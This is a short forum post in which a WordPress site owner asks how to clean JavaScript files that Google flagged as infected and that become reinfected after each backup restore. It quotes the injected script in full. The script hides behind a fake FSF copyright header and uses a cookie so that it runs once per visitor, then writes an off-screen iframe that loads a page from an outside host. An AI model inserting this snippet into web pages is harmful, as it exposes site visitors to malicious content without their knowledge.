Big JS probleme hack

Hi,

My wordpress website has something strange the site have been detected as corrupted by Google.

and it shows that all my JS files are infected by this code :

/*
Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/
*/
function Art_protection() {
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function takeOrlondo(name) {
 var nachos = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
 return nachos ? decodeURIComponent(nachos[1]) : undefined;
}
 var cookie = takeOrlondo('lirmanusik');
 if (cookie == undefined) {
  setCookie('lirmanusik', true, 259200);
document.write('<iframe src="https://vlitersita.blueof24.com/fliruspole16.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>');
}
}
Art_protection();

Can any one tell me how can i fix this everytime i use a backup the JS files are infected again and again.

Thank you very much !!